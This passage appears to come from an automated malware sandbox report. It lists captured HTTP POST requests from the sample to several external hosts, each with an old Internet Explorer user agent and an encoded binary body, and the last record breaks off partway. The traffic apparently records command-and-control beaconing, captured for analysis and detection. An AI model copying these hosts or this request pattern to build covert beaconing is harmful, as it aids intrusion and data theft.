NreZ/GojKVeGTn5fTfv7gi2gYt+a31q3PqxVn48z0+C+MqtaSlgvy+BC+lUAZTzmvvYyrlB6P29RyNAmTzPSdhCMV9Fu8gOKePdrPV2Yd4ni3ycAvbeKjGbWNpHXnH4e/R6hmGCqqOD762GsA+viq5JZTlU78u0dVlrtl1Psc8St9tgAWf8MA98YlkAwnbQ4HtjpgEeyq0ijkN0GvUkU3CexR/och1T0JxSyMNfZQustdJwLW9wysQAdRDaLVbT5g3UGbkIpZ6QUCtAueLNIxyzGGrq5ISo0R1cbCI++a+lw4Iw9QPFAY0KlfbbeAOVN2iPsdCpB+C0vZz3mmlw0ECyujAtkxpV9aTSV7WL1CoUpFEd4/HpsVH3BLkvKzhR9HcYYeFYR22m9X1eicEYMGFOWK0jtKUyf221wRqUtl8Jv/qitfOhnnebRf4rw68Wud4FNrDNbqgDYJdz1t+chPdIFhjQk3Jcj3MEcZwDCO36QkL51vz+el3bFBEZ2U6SYutoc5/mqyMEGthR6hV/SFzO0PELfpZIfC3F9FWVKDikYIJOsu6Z2Y5rIgBcgcgGWU4ktxz3aTqmzAvwPm6o6nw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 4b 53 39 76 72 36 70 52 48 6c 63 62 51 56 66 2b 6a 64 55 63 74 32 30 6f 33 64 4c 61 53 68 30 31 66 6c 34 76 38 72 61 58 41 30 33 63 53 78 69 59 6f 72 49 41 50 6b 68 52 37 73 4c 36 42 58 41 44 63 2b 41 62 51 78 2b 45 32 56 68 62 6e 64 62 63 37 43 70 5a 46 5a 79 67 49 43 46 63 71 55 79 36 70 55 31 4d 49 65 72 44 79 37 37 66 7a 2b 55 6d 39 36 31 75 79 4e 4c 6e 4b 78 47 6c 7a 7a 77 69 2f 64 6e 72 33 49 53 72 6f 6c 75 67 66 4c 65 55 6c 7a 62 4b 4b 6a 47 38 71 78 6b 62 67 59 5a 5a 75 39 4b 73 45 41 4b 75 49 59 35 5a 61 51 76 58 35 69 53 6e 4a 51 4a 4b 6a 77 2f 30 64 68 31 53 4c 63 77 45 6e 32 41 6c 69 55 78 48 71 34 79 46 36 61 41 67 4d 45 62 51 6f 33 6f 45 4e 5a 63 69 6b 59 71 78 31 52 38 69 71 6a 74 49 55 68 58 36 62 71 30 46 4c 53 6f 38 50 67 4d 47 56 31 66 32 7a 66 77 6a 61 37 38 36 4f 38 36 66 53 51 4a 78 69 63 39 46 79 38 65 4b 55 66 50 70 77 6d 31 48 62 4f 50 42 68 59 43 64 32 75 4b 4b 6f 46 2f 78 44 78 54 50 73 37 46 30 2f 35 33 51 39 44 53 62 70 65 47 6c 6d 77 65 77 56 70 4c 70 7a 63 6f 65 51 79 67 78 39 6e 68 37 55 38 52 61 50 2b 55 53 75 2b 2f 41 6e 4e 74 74 46 4d 50 6d 61 64 74 46 2b 55 33 70 41 6c 62 6b 59 6b 78 46 56 45 66 79 75 63 45 6d 66 79 63 39 4d 61 62 38 32 65 66 65 75 30 44 58 52 52 43 59 48 79 58 4c 42 52 51 6f 50 30 59 31 2f 42 5a 62 55 72 32 62 6d 51 42 68 36 57 35 4a 5a 5a 4f 45 41 62 32 6c 35 34 37 44 43 57 2f 73 43 33 50 47 53 39 4c 73 6a 43 46 77 4d 50 30 6a 62 39 70 66 75 46 6a 59 4e 55 32 39 6d 45 7a 6b 36 48 78 79 7a 35 67 38 42 67 6d 72 66 52 38 5a 32 50 7a 43 72 62 46 51 2f 34 6a 30 7a 31 2b 78 44 37 4c 36 5a 52 64 32 69 59 43 77 6a 47 49 36 66 31 32 70 5a 6c 76 41 6e 64 7a 2f 72 46 36 65 71 56 47 49 Data Ascii: KS9vr6pRHlcbQVf+jdUct20o3dLaSh01fl4v8raXA03cSxiYorIAPkhR7sL6BXADc+AbQx+E2Vhbndbc7CpZFZygICFcqUy6pU1MIerDy77fz+Um961uyNLnKxGlzzwi/dnr3ISrolugfLeUlzbKKjG8qxkbgYZZu9KsEAKuIY5ZaQvX5iSnJQJKjw/0dh1SLcwEn2AliUxHq4yF6aAgMEbQo3oENZcikYqx1R8iqjtIUhX6bq0FLSo8PgMGV1f2zfwja786O86fSQJxic9Fy8eKUfPpwm1HbOPBhYCd2uKKoF/xDxTPs7F0/53Q9DSbpeGlmwewVpLpzcoeQygx9nh7U8RaP+USu+/AnNttFMPmadtF+U3pAlbkYkxFVEfyucEmfyc9Mab82efeu0DXRRCYHyXLBRQoP0Y1/BZbUr2bmQBh6W5JZZOEAb2l547DCW/sC3PGS9LsjCFwMP0jb9pfuFjYNU29mEzk6Hxyz5g8BgmrfR8Z2PzCrbFQ/4j0z1+xD7L6ZRd2iYCwjGI6f12pZlvAndz/rF6eqVGI
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 79 47 30 47 76 51 62 41 6e 77 7a 62 73 34 75 42 49 52 65 6b 52 79 6b 58 47 4a 46 6d 6e 76 31 44 6d 69 53 51 38 48 34 35 4c 57 75 4e 48 4a 46 48 57 2f 49 45 70 2f 34 51 6b 4b 72 35 69 32 53 6c 72 66 6e 70 6f 5a 32 7a 69 54 76 38 47 6d 34 6d 7a 77 67 6f 54 33 4f 71 56 6e 53 52 74 53 32 45 46 37 6d 72 77 66 2b 59 37 51 52 59 65 30 66 66 35 73 6e 48 33 66 55 79 73 6a 41 53 36 54 61 73 43 48 53 44 48 36 32 37 6a 56 30 38 44 39 68 32 4c 4a 51 49 6b 52 65 2b 69 6e 64 6a 2f 35 47 4c 35 62 2f 43 70 41 39 43 47 75 43 73 68 73 67 71 6d 72 6e 53 4a 4e 7a 61 2b 62 47 4d 78 6a 42 7a 64 57 63 62 33 70 49 30 64 7a 5a 61 66 34 4c 64 36 6b 47 77 38 2b 62 74 72 44 30 5a 5a 64 6c 64 4f 57 38 50 49 49 38 43 5a 59 41 31 73 68 4e 61 72 67 33 69 78 6a 6c 79 66 64 44 6a 65 62 49 6b 49 35 2b 71 70 51 4c 59 6a 47 79 38 37 4c 72 44 46 4f 50 76 46 68 6f 65 34 47 6e 50 30 68 41 4e 56 6f 4a 56 4e 54 4c 4e 66 42 76 44 36 42 74 6f 71 6e 74 73 33 70 54 59 4c 36 53 77 57 2f 4c 52 32 4b 41 57 38 6e 75 76 50 6c 63 50 66 6f 69 30 37 79 74 75 66 50 77 66 41 65 4c 65 62 6d 70 55 51 32 78 56 70 69 68 48 41 66 4e 79 79 63 74 42 56 38 73 71 4b 6a 35 2f 39 32 4d 72 72 6d 6f 53 6e 38 66 75 61 36 6b 43 66 43 63 6b 53 6f 31 7a 72 75 2b 37 4d 74 43 77 2b 53 78 6d 63 2b 43 4e 62 4f 37 6a 4d 46 70 4a 4e 6b 4f 76 2b 66 39 68 34 4a 4e 54 30 76 66 68 6b 75 57 6f 34 76 6c 49 55 79 69 4a 4d 78 48 6d 51 59 2b 37 55 53 70 71 78 49 45 6b 39 47 73 31 70 6e 32 69 59 34 77 74 70 4e 37 78 70 6f 2b 46 6b 64 32 43 30 6b 6b 71 6d 65 4b 51 64 31 42 70 75 43 55 47 33 36 38 41 45 79 51 61 59 55 53 39 4b 70 72 59 4a 37 48 54 31 2f 44 53 43 32 6f 48 36 4f 30 54 6d 78 69 5a 4b 34 47 37 72 7a 72 59 36 4a 45 3d Data Ascii: yG0GvQbAnwzbs4uBIRekRykXGJFmnv1DmiSQ8H45LWuNHJFHW/IEp/4QkKr5i2SlrfnpoZ2ziTv8Gm4mzwgoT3OqVnSRtS2EF7mrwf+Y7QRYe0ff5snH3fUysjAS6TasCHSDH627jV08D9h2LJQIkRe+indj/5GL5b/CpA9CGuCshsgqmrnSJNza+bGMxjBzdWcb3pI0dzZaf4Ld6kGw8+btrD0ZZdldOW8PII8CZYA1shNarg3ixjlyfdDjebIkI5+qpQLYjGy87LrDFOPvFhoe4GnP0hANVoJVNTLNfBvD6Btoqnts3pTYL6SwW/LR2KAW8nuvPlcPfoi07ytufPwfAeLebmpUQ2xVpihHAfNyyctBV8sqKj5/92MrrmoSn8fua6kCfCckSo1zru+7MtCw+Sxmc+CNbO7jMFpJNkOv+f9h4JNT0vfhkuWo4vlIUyiJMxHmQY+7USpqxIEk9Gs1pn2iY4wtpN7xpo+Fkd2C0kkqmeKQd1BpuCUG368AEyQaYUS9KprYJ7HT1/DSC2oH6O0TmxiZK4G7rzrY6JE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 4e 63 6a 64 61 61 6b 4d 6e 51 78 57 4e 38 56 4c 65 4f 33 30 72 38 4a 43 67 76 39 48 68 2b 52 75 37 56 6b 36 63 37 50 57 32 71 31 44 41 71 6b 55 65 4b 77 65 38 4c 45 41 6b 51 71 78 2f 32 65 71 30 48 7a 4b 6f 55 36 2f 6e 56 41 2b 52 5a 74 2b 33 66 68 72 52 73 2f 77 37 68 53 50 39 35 37 55 36 35 58 39 70 2f 70 62 78 50 70 6f 55 65 63 30 51 36 67 44 55 49 39 68 4a 4c 6e 50 59 79 34 45 57 64 4c 50 68 78 41 6b 46 6d 76 39 56 66 66 53 53 7a 4e 63 68 4f 35 53 53 51 58 57 47 6f 44 61 6c 7a 76 2b 66 76 57 47 41 79 42 41 79 79 68 72 6c 48 4e 55 63 54 4a 4d 6b 6b 7a 56 75 47 4d 79 46 44 71 67 49 6a 76 46 4e 4b 56 64 55 42 63 44 59 77 33 6a 36 77 4b 36 35 51 74 6e 39 46 56 55 30 79 48 42 53 4e 41 56 6a 53 6b 65 63 51 36 35 56 31 4f 38 57 4b 53 53 7a 53 34 51 43 5a 47 32 35 35 32 4e 35 33 35 75 61 58 50 78 63 6f 55 30 2b 71 38 4c 71 34 61 78 71 4b 78 6a 4a 39 42 48 32 58 47 57 6f 71 42 54 74 64 67 75 49 7a 72 54 6c 56 48 38 76 6e 67 32 38 77 55 58 57 75 64 50 2b 33 7a 62 58 66 6c 69 44 50 4e 74 7a 43 41 6c 79 6e 59 68 4e 52 47 36 4c 74 46 4a 56 6a 35 36 7a 37 62 70 67 2f 2b 48 75 53 52 61 6f 6c 48 75 2b 56 68 37 4d 6d 41 68 71 73 6a 54 55 51 38 42 73 33 71 52 36 71 54 6f 61 35 38 59 56 48 33 57 6f 77 41 6f 64 33 73 61 2b 43 55 63 7a 57 4a 38 2f 66 74 6e 43 51 54 63 4f 48 51 67 53 42 45 6f 42 6b 54 57 59 46 36 66 2f 43 6d 55 68 73 46 58 6c 78 63 34 32 62 4d 38 38 30 31 66 5a 6e 71 53 44 55 75 48 4f 34 44 52 49 2b 56 35 57 63 47 6d 45 71 45 43 61 79 6b 72 42 47 61 67 56 6d 4f 78 54 6f 49 31 56 69 79 47 76 2f 53 41 61 68 30 72 37 42 78 64 35 33 7a 42 79 4b 42 46 38 77 71 2f 63 72 2f 68 79 63 71 75 42 6e 4e 48 61 71 41 6f 71 48 52 6b 2f 50 32 55 66 55 62 67 42 41 3d 3d Data Ascii: NcjdaakMnQxWN8VLeO30r8JCgv9Hh+Ru7Vk6c7PW2q1DAqkUeKwe8LEAkQqx/2eq0HzKoU6/nVA+RZt+3fhrRs/w7hSP957U65X9p/pbxPpoUec0Q6gDUI9hJLnPYy4EWdLPhxAkFmv9VffSSzNchO5SSQXWGoDalzv+fvWGAyBAyyhrlHNUcTJMkkzVuGMyFDqgIjvFNKVdUBcDYw3j6wK65Qtn9FVU0yHBSNAVjSkecQ65V1O8WKSSzS4QCZG2552N535uaXPxcoU0+q8Lq4axqKxjJ9BH2XGWoqBTtdguIzrTlVH8vng28wUXWudP+3zbXfliDPNtzCAlynYhNRG6LtFJVj56z7bpg/+HuSRaolHu+Vh7MmAhqsjTUQ8Bs3qR6qToa58YVH3WowAod3sa+CUczWJ8/ftnCQTcOHQgSBEoBkTWYF6f/CmUhsFXlxc42bM8801fZnqSDUuHO4DRI+V5WcGmEqECaykrBGagVmOxToI1ViyGv/SAah0r7Bxd53zByKBF8wq/cr/hycquBnNHaqAoqHRk/P2UfUbgBA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 42 39 68 64 6d 70 39 50 6c 67 7a 32 4c 4d 78 70 2f 6c 68 52 69 69 6a 66 37 30 35 31 37 4c 78 70 51 30 45 62 70 7a 43 41 4f 75 7a 68 4d 43 63 6a 41 42 33 66 6f 2b 77 61 32 42 4d 35 67 41 45 6a 37 78 42 62 47 79 48 35 72 71 45 65 6f 72 6c 77 63 4a 63 70 6e 57 48 78 45 77 50 2f 68 64 4a 34 7a 6a 43 69 72 73 45 78 37 66 70 72 44 33 53 41 6a 50 67 6b 74 53 47 61 2f 30 59 58 77 5a 65 54 32 73 58 61 49 69 71 62 31 55 43 58 64 48 74 30 7a 30 33 74 59 4e 6b 54 77 4b 75 57 67 47 42 68 6e 77 45 43 54 61 6e 53 65 4d 66 7a 65 31 30 4a 33 50 44 32 4e 49 76 62 4e 4b 47 30 35 33 6f 69 33 6c 58 6f 36 78 79 57 51 4a 6e 4d 66 2f 52 62 4e 37 75 6f 6b 33 48 51 79 38 30 74 58 6e 30 51 4a 63 45 44 57 4b 38 55 59 4c 59 2b 74 4b 74 65 65 4a 65 68 55 4b 76 75 54 73 46 66 52 4b 4a 67 4f 2f 62 76 57 57 6a 55 43 5a 58 5a 41 6c 47 73 5a 33 58 4d 6a 63 44 56 75 39 70 74 35 59 74 31 42 6b 49 59 71 4d 6b 35 6e 77 79 63 5a 45 46 69 32 39 67 41 37 36 6b 74 5a 31 74 6a 70 4c 61 49 43 74 38 54 54 37 4b 46 63 79 69 6a 49 50 77 73 6e 4d 57 56 33 4e 58 6c 50 79 62 66 7a 30 63 4d 52 31 6d 69 67 57 66 2b 38 50 43 6c 55 6f 35 61 39 53 67 41 56 79 6c 6c 54 70 59 54 4a 69 41 66 4b 4c 72 39 62 66 53 78 59 4b 7a 45 57 69 31 61 70 74 50 57 41 67 72 72 5a 4e 57 4a 56 61 70 44 2b 47 36 7a 45 51 6b 76 55 69 41 54 6b 41 52 6c 50 6e 54 4a 7a 30 58 59 31 41 56 64 38 51 6d 5a 59 6e 41 33 79 39 2b 6e 74 4f 6e 46 47 66 58 4e 43 74 44 34 75 31 78 39 45 51 61 51 59 6b 76 6b 62 44 4e 6c 39 4f 45 32 71 4b 34 37 79 50 5a 70 67 48 6e 62 6b 62 73 38 61 50 76 53 69 52 47 35 73 54 46 6a 4b 42 48 54 33 32 46 49 35 6b 48 66 2b 50 63 4d 38 65 67 51 68 71 63 62 63 76 73 48 6d 6e 55 59 56 4a 41 78 70 49 62 34 32 52 55 3d Data Ascii: B9hdmp9Plgz2LMxp/lhRiijf70517LxpQ0EbpzCAOuzhMCcjAB3fo+wa2BM5gAEj7xBbGyH5rqEeorlwcJcpnWHxEwP/hdJ4zjCirsEx7fprD3SAjPgktSGa/0YXwZeT2sXaIiqb1UCXdHt0z03tYNkTwKuWgGBhnwECTanSeMfze10J3PD2NIvbNKG053oi3lXo6xyWQJnMf/RbN7uok3HQy80tXn0QJcEDWK8UYLY+tKteeJehUKvuTsFfRKJgO/bvWWjUCZXZAlGsZ3XMjcDVu9pt5Yt1BkIYqMk5nwycZEFi29gA76ktZ1tjpLaICt8TT7KFcyijIPwsnMWV3NXlPybfz0cMR1migWf+8PClUo5a9SgAVyllTpYTJiAfKLr9bfSxYKzEWi1aptPWAgrrZNWJVapD+G6zEQkvUiATkARlPnTJz0XY1AVd8QmZYnA3y9+ntOnFGfXNCtD4u1x9EQaQYkvkbDNl9OE2qK47yPZpgHnbkbs8aPvSiRG5sTFjKBHT32FI5kHf+PcM8egQhqcbcvsHmnUYVJAxpIb42RU=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 4b 79 6c 45 32 52 4e 4b 71 31 62 4f 45 53 65 76 32 6b 69 41 48 72 7a 68 4b 76 62 35 75 63 34 51 39 38 6a 51 2f 2f 41 35 44 69 55 35 68 34 2b 74 75 52 63 69 5a 43 55 61 62 36 62 34 6d 77 63 63 6c 79 48 36 67 53 4e 44 77 64 6a 78 2b 77 51 49 43 72 30 4b 72 49 4d 65 6d 62 42 59 4a 48 71 4f 45 72 6e 65 43 46 30 4d 70 4f 54 5a 2f 32 38 74 66 4b 44 6c 73 73 57 37 56 43 59 56 54 52 45 39 73 69 63 73 67 38 39 76 53 43 32 6b 67 63 6e 6a 54 70 36 63 76 4b 43 51 30 71 42 52 4d 4d 4b 4a 2b 73 4f 58 4c 68 45 74 30 37 71 6f 70 72 6a 72 69 39 59 2f 71 4b 48 4f 34 53 58 79 49 34 33 76 75 4d 39 76 4f 2b 50 30 77 57 2f 4e 76 71 53 39 73 30 73 30 67 37 4c 37 75 31 71 76 56 52 41 5a 31 73 63 6e 67 7a 72 78 31 51 39 4c 76 76 33 34 32 51 34 67 2b 31 46 68 62 34 4a 67 47 61 77 67 72 6f 69 34 71 35 54 38 64 6e 4e 39 49 7a 41 57 75 4d 4b 6a 4f 64 74 39 4a 79 57 41 66 2f 6d 67 79 77 41 74 52 55 66 79 66 48 6f 6a 52 31 58 61 37 6c 39 66 58 46 41 61 4d 77 77 30 6b 36 6e 66 30 43 48 52 49 58 72 58 4a 33 6e 46 74 54 4c 77 74 48 6f 62 59 50 4c 43 50 49 6e 79 75 79 47 45 4f 37 48 51 4d 66 48 31 39 31 52 68 48 57 48 74 65 7a 47 6b 55 61 33 73 64 70 33 4b 7a 77 34 79 6e 78 61 7a 4f 4a 33 44 78 79 52 34 45 57 67 51 36 78 73 6f 33 2b 65 45 48 33 68 74 55 48 58 72 6d 44 39 5a 61 48 50 49 4b 41 56 4d 75 79 70 49 39 55 64 72 39 70 30 73 64 38 71 69 6b 6f 69 61 4b 54 6b 73 71 61 41 6a 33 6c 38 56 2b 51 38 62 38 44 36 56 37 6c 34 7a 6d 61 43 5a 47 6e 53 61 32 4e 6c 75 75 2f 58 6d 50 41 6a 72 59 39 73 72 63 68 7a 62 65 55 46 6e 2b 4e 48 4e 4a 4c 55 57 33 38 42 78 44 78 56 4d 44 4a 2f 36 72 50 6e 4a 61 32 72 59 50 62 58 6f 61 6b 68 4e 2b 59 38 53 44 42 6b 6c 4b 35 69 4c 54 7a 2b 33 6a 62 4d 42 31 77 5a 73 78 36 48 46 43 33 35 47 66 55 56 54 6d 5a 4a 46 6b 35 6b 39 Data Ascii: KylE2RNKq1bOESev2kiAHrzhKvb5uc4Q98jQ//A5DiU5h4+tuRciZCUab6b4mwcclyH6gSNDwdjx+wQICr0KrIMembBYJHqOErneCF0MpOTZ/28tfKDlssW7VCYVTRE9sicsg89vSC2kgcnjTp6cvKCQ0qBRMMKJ+sOXLhEt07qoprjri9Y/qKHO4SXyI43vuM9vO+P0wW/NvqS9s0s0g7L7u1qvVRAZ1scngzrx1Q9Lvv342Q4g+1Fhb4JgGawgroi4q5T8dnN9IzAWuMKjOdt9JyWAf/mgywAtRUfyfHojR1Xa7l9fXFAaMww0k6nf0CHRIXrXJ3nFtTLwtHobYPLCPInyuyGEO7HQMfH191RhHWHtezGkUa3sdp3Kzw4ynxazOJ3DxyR4EWgQ6xso3+eEH3htUHXrmD9ZaHPIKAVMuypI9Udr9p0sd8qikoiaKTksqaAj3l8V+Q8b8D6V7l4zmaCZGnSa2Nluu/XmPAjrY9srchzbeUFn+NHNJLUW38BxDxVMDJ/6rPnJa2rYPbXoakhN+Y8SDBklK5iLTz+3jbMB1wZsx6HFC35GfUVTmZJFk5k9
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 45 71 47 6d 71 48 78 45 56 41 79 55 6a 32 37 74 4a 39 55 62 49 41 2f 74 72 64 49 55 77 2b 47 55 63 4b 55 63 61 37 55 45 42 4d 77 6c 72 45 6c 52 35 34 56 2f 31 4a 54 58 4a 39 37 68 31 6e 4d 70 6a 50 50 38 39 33 61 38 65 41 52 59 4c 50 37 53 35 49 58 66 41 75 34 6d 6f 71 72 71 73 6a 79 6b 2f 6c 39 65 74 53 74 6c 76 6f 72 57 68 37 31 56 50 57 7a 4f 66 4e 73 46 4b 39 65 71 37 76 46 70 51 35 35 4b 6b 43 72 33 74 79 6c 6d 70 63 56 53 35 70 4d 78 30 6f 67 46 63 73 39 6d 33 56 62 34 76 57 46 42 46 32 54 42 41 4f 42 4d 39 6f 55 59 73 53 77 4b 6a 30 34 34 48 6f 52 39 57 5a 4a 68 31 6e 49 39 33 46 41 2f 69 6b 32 59 6c 56 6a 52 54 39 62 50 4b 62 70 74 52 59 32 45 45 4d 6e 66 45 34 76 47 62 2b 73 44 44 70 2b 37 66 50 6e 6f 5a 48 39 57 38 64 42 63 73 78 55 62 42 43 42 75 62 44 45 58 78 36 32 34 44 58 64 75 34 37 2b 79 59 30 7a 63 6f 70 31 71 65 54 38 71 50 71 53 63 32 4d 48 37 57 69 78 4e 59 69 51 6e 31 71 38 69 4e 47 68 47 4c 38 58 6a 4d 42 36 4a 48 4d 62 43 7a 69 41 47 48 58 6b 5a 79 55 50 70 2b 36 69 33 70 50 35 76 54 50 66 7a 32 73 42 47 53 59 50 34 76 53 61 64 30 46 4a 6e 66 77 36 44 2b 55 6c 42 4d 59 58 6e 35 4f 5a 47 77 51 42 49 74 65 46 2f 48 67 6d 73 4d 78 58 70 75 47 65 75 50 77 74 4d 6b 62 72 64 72 46 56 62 66 41 78 77 41 4b 77 67 73 41 4d 37 6c 51 62 4b 46 63 43 38 37 6c 71 42 68 59 4b 6a 75 43 51 32 61 42 79 44 53 78 55 64 2f 4c 42 6f 32 72 65 79 6c 73 70 6a 51 69 79 62 6b 31 34 61 4f 7a 75 32 62 6e 5a 51 46 6e 71 34 6e 65 34 30 31 5a 4d 47 7a 35 55 55 41 42 73 62 4a 65 6b 70 47 4d 51 31 7a 5a 4b 6c 46 47 41 6e 46 43 4f 32 51 62 6e 6d 45 4f 30 53 55 35 55 3d Data Ascii: EqGmqHxEVAyUj27tJ9UbIA/trdIUw+GUcKUca7UEBMwlrElR54V/1JTXJ97h1nMpjPP893a8eARYLP7S5IXfAu4moqrqsjyk/l9etStlvorWh71VPWzOfNsFK9eq7vFpQ55KkCr3tylmpcVS5pMx0ogFcs9m3Vb4vWFBF2TBAOBM9oUYsSwKj044HoR9WZJh1nI93FA/ik2YlVjRT9bPKbptRY2EEMnfE4vGb+sDDp+7fPnoZH9W8dBcsxUbBCBubDEXx624DXdu47+yY0zcop1qeT8qPqSc2MH7WixNYiQn1q8iNGhGL8XjMB6JHMbCziAGHXkZyUPp+6i3pP5vTPfz2sBGSYP4vSad0FJnfw6D+UlBMYXn5OZGwQBIteF/HgmsMxXpuGeuPwtMkbrdrFVbfAxwAKwgsAM7lQbKFcC87lqBhYKjuCQ2aByDSxUd/LBo2reylspjQiybk14aOzu2bnZQFnq4ne401ZMGz5UUABsbJekpGMQ1zZKlFGAnFCO2QbnmEO0SU5U=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 73 58 46 44 53 61 7a 68 54 46 65 2b 39 52 45 64 6c 2f 45 4d 56 37 2f 78 79 6c 73 45 59 47 6d 51 6f 50 31 7a 4d 79 49 38 2f 42 30 37 68 32 56 59 45 64 44 2b 55 64 6f 32 39 50 74 34 32 67 51 55 53 31 4c 77 59 59 64 75 30 63 57 68 71 48 51 48 68 64 63 37 4c 4f 2b 2b 6a 57 74 50 49 4f 47 33 6b 41 53 78 6b 56 2f 4c 4b 62 6c 62 55 67 68 31 65 74 39 31 6f 33 47 44 4d 4f 71 4a 69 2b 43 57 79 4d 50 41 58 51 32 4c 74 53 4c 36 6b 79 41 42 38 66 65 6e 4c 59 6a 75 37 5a 55 5a 64 53 4b 4a 72 70 46 54 4d 5a 7a 73 70 52 73 64 48 59 6d 38 50 52 31 49 66 70 44 65 63 43 5a 65 56 6f 52 6b 4f 64 6b 2b 43 47 76 75 38 64 6c 63 64 45 71 6f 67 37 4b 2b 4f 4c 73 37 2b 61 51 2f 74 36 67 39 59 4a 6c 54 78 33 2f 52 65 6f 77 48 79 59 71 59 47 56 68 65 49 73 6b 49 52 65 75 77 2f 37 32 47 67 52 70 69 41 6c 5a 69 34 79 45 51 38 6d 41 35 4b 44 56 76 4f 4d 52 43 71 69 35 58 73 65 37 47 77 77 57 58 4a 47 52 79 53 39 6b 51 48 39 39 37 47 56 47 32 6e 6b 5a 38 6c 2b 67 43 34 61 6f 45 2b 67 7a 69 6b 6f 5a 56 67 72 51 79 42 31 41 7a 41 51 64 45 65 37 4d 35 7a 31 35 58 53 39 46 58 71 75 72 6f 6d 57 61 35 54 72 6d 43 65 53 77 77 33 6f 33 38 66 71 71 67 63 42 46 4d 70 33 72 58 79 4d 71 64 79 46 68 6e 76 5a 6a 74 52 70 2f 2b 6c 64 4e 2b 38 41 35 4d 62 2f 42 33 6d 36 47 64 5a 37 6a 6f 78 6a 76 6b 4f 32 2f 71 48 68 44 32 49 70 45 6e 4f 78 39 35 79 50 46 41 73 77 4f 69 4f 4f 61 41 45 50 76 34 33 7a 69 4d 48 45 34 53 75 62 41 57 50 6f 43 42 35 31 50 6d 66 4a 34 49 35 4c 68 31 33 43 64 39 6b 46 34 57 7a 30 34 43 2f 75 46 64 70 50 39 56 41 49 4e 31 63 54 48 34 4a 41 66 41 56 41 35 33 34 50 33 42 65 2f 6b 42 55 62 2b 4d 52 4a 79 65 4e 35 75 59 43 36 57 79 47 39 66 59 36 33 77 73 77 55 70 6e 33 35 73 39 69 67 67 4c 6a 69 37 52 34 71 34 33 72 34 38 31 39 57 62 4d 6a 52 75 33 5a 53 37 50 5a 31 35 6e 4b 51 3d 3d Data Ascii: sXFDSazhTFe+9REdl/EMV7/xylsEYGmQoP1zMyI8/B07h2VYEdD+Udo29Pt42gQUS1LwYYdu0cWhqHQHhdc7LO++jWtPIOG3kASxkV/LKblbUgh1et91o3GDMOqJi+CWyMPAXQ2LtSL6kyAB8fenLYju7ZUZdSKJrpFTMZzspRsdHYm8PR1IfpDecCZeVoRkOdk+CGvu8dlcdEqog7K+OLs7+aQ/t6g9YJlTx3/ReowHyYqYGVheIskIReuw/72GgRpiAlZi4yEQ8mA5KDVvOMRCqi5Xse7GwwWXJGRyS9kQH997GVG2nkZ8l+gC4aoE+gzikoZVgrQyB1AzAQdEe7M5z15XS9FXquromWa5TrmCeSww3o38fqqgcBFMp3rXyMqdyFhnvZjtRp/+ldN+8A5Mb/B3m6GdZ7joxjvkO2/qHhD2IpEnOx95yPFAswOiOOaAEPv43ziMHE4SubAWPoCB51PmfJ4I5Lh13Cd9kF4Wz04C/uFdpP9VAIN1cTH4JAfAVA534P3Be/kBUb+MRJyeN5uYC6WyG9fY63wswUpn35s9iggLji7R4q43r4819WbMjRu3ZS7PZ15nKQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 35 57 4e 4a 62 31 34 58 53 67 7a 50 4d 38 74 61 71 5a 65 76 71 55 46 63 4c 35 4f 65 56 4b 54 4a 63 73 56 30 31 58 7a 61 35 2f 32 62 6f 71 4a 53 48 6a 37 55 4b 75 6a 2f 6a 4e 72 52 58 6e 45 69 54 48 53 74 79 72 43 77 52 4f 38 63 48 46 72 4a 64 42 32 65 49 68 72 57 57 4c 2f 56 70 64 5a 37 55 54 2f 36 30 48 62 2f 72 76 2b 43 2f 30 48 38 36 44 59 79 41 4a 39 79 79 70 71 49 68 75 6d 36 64 77 4a 6c 47 2f 4a 5a 45 41 58 51 68 36 72 43 6c 74 56 72 70 4a 2f 6a 62 48 77 70 67 69 41 6d 6d 71 57 43 62 34 53 5a 69 77 42 2b 49 66 65 6e 61 44 41 2b 76 2f 70 34 78 53 2f 68 7a 66 4e 4c 57 4b 69 43 6d 43 33 6d 6d 39 42 71 6a 6a 6f 6c 4b 6f 35 6d 78 68 63 7a 6c 34 4b 30 47 6b 68 6e 4c 6b 2f 35 51 43 6a 43 74 32 2b 4f 50 62 37 58 4c 68 4c 4a 44 39 61 32 62 44 55 79 32 59 69 4f 76 64 6a 37 46 48 77 48 79 49 52 62 45 36 45 4b 45 2b 54 46 62 75 50 36 69 2b 36 74 46 41 2b 6b 4a 35 34 33 34 72 46 63 69 5a 68 57 33 76 2f 44 4d 74 50 53 6f 77 38 73 72 58 57 64 2f 41 47 53 2b 